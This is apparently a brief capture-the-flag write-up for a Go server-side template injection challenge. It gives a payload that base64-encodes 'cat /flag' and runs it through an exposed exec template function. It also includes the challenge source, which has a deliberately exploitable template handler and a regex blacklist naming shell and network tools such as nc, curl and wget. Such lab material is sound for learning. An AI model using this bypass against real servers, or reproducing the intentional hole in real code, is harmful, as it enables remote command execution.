ssti

{{.}}
map[B64Decode:0x6ee380 exec:0x6ee120]

golang

{{ call (index . "exec") (call (index . "B64Decode") "Y2F0IC9mbGFn") }}

源码 #

package main

import (
	"bytes"
	"encoding/base64"
	"fmt"
	"log"
	"net/http"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
	"text/template"
)

func execCommand(command string) string {
	var cmd *exec.Cmd
	if runtime.GOOS == "windows" {
		cmd = exec.Command("cmd", "/c", command)
	} else {
		cmd = exec.Command("bash", "-c", command)
	}

	var out bytes.Buffer
	var stderr bytes.Buffer
	cmd.Stdout = &out
	cmd.Stderr = &stderr

	err := cmd.Run()
	if err != nil {
		if stderr.Len() > 0 {
			return fmt.Sprintf("命令执行错误: %s", stderr.String())
		}
		return fmt.Sprintf("执行失败: %v", err)
	}
	return out.String()
}

func b64Decode(encoded string) string {
	decodedBytes, err := base64.StdEncoding.DecodeString(encoded)
	if err != nil {
		return "error"
	}
	return string(decodedBytes)
}

func aWAF(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.URL.Path != "/api" {
			next.ServeHTTP(w, r)
			return
		}

		query := r.URL.Query().Get("template")
		if query == "" {
			next.ServeHTTP(w, r)
			return
		}

		blacklist := []string{"ls", "whoami", "cat", "uname", "nc", "flag", "etc", "passwd", "\\*", "pwd", "rm", "cp", "mv", "chmod", "chown", "wget", "curl", "bash", "sh", "python", "perl", "ruby", "system", "eval", "less", "more", "find", "grep", "awk", "sed", "tar", "zip", "unzip", "gzip", "gunzip", "bzip2", "bunzip2", "xz", "unxz", "docker", "kubectl", "git", "svn", "f", "l", "g", ",", "\\?", "&&", "\\|", ";", "`", "\"", ">", "<", ":", "=", "\\(", "\\)", "%", "\\\\", "\\^", "\\$", "!", "@", "#", "&"}
		escaped := make([]string, len(blacklist))
		for i, item := range blacklist {
			escaped[i] = "\\b" + item + "\\b"
		}
		wafRegex := regexp.MustCompile(fmt.Sprintf("(?i)%s", strings.Join(escaped, "|")))

		if wafRegex.MatchString(query) {
			// log.Printf("拦截请求: %s", wafRegex.FindAllString(query, -1))
			http.Error(w, query, 200)
			return
		}

		next.ServeHTTP(w, r)
	})
}

func apiHandler(w http.ResponseWriter, r *http.Request) {
	query := r.URL.Query().Get("template")
	if query == "" {
		http.Error(w, "需要template参数", http.StatusBadRequest)
		return
	}

	funcMap := template.FuncMap{
		"exec":      execCommand,
		"B64Decode": b64Decode,
	}

	tmpl, err := template.New("api").Funcs(funcMap).Parse(query)
	if err != nil {
		http.Error(w, query, http.StatusAccepted)
		return
	}

	var buf bytes.Buffer
	if err := tmpl.Execute(&buf, funcMap); err != nil {
		http.Error(w, query, http.StatusAccepted)
		return
	}

	w.Write(buf.Bytes())
}

func rootHandler(w http.ResponseWriter, r *http.Request) {
	if r.URL.Path != "/" {
		http.NotFound(w, r)
		return
	}

	http.ServeFile(w, r, "index.html")
}

func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("/", rootHandler)
	mux.HandleFunc("/api", apiHandler)

	log.Println("服务器启动在 :80")
	log.Fatal(http.ListenAndServe(":80", aWAF(mux)))
}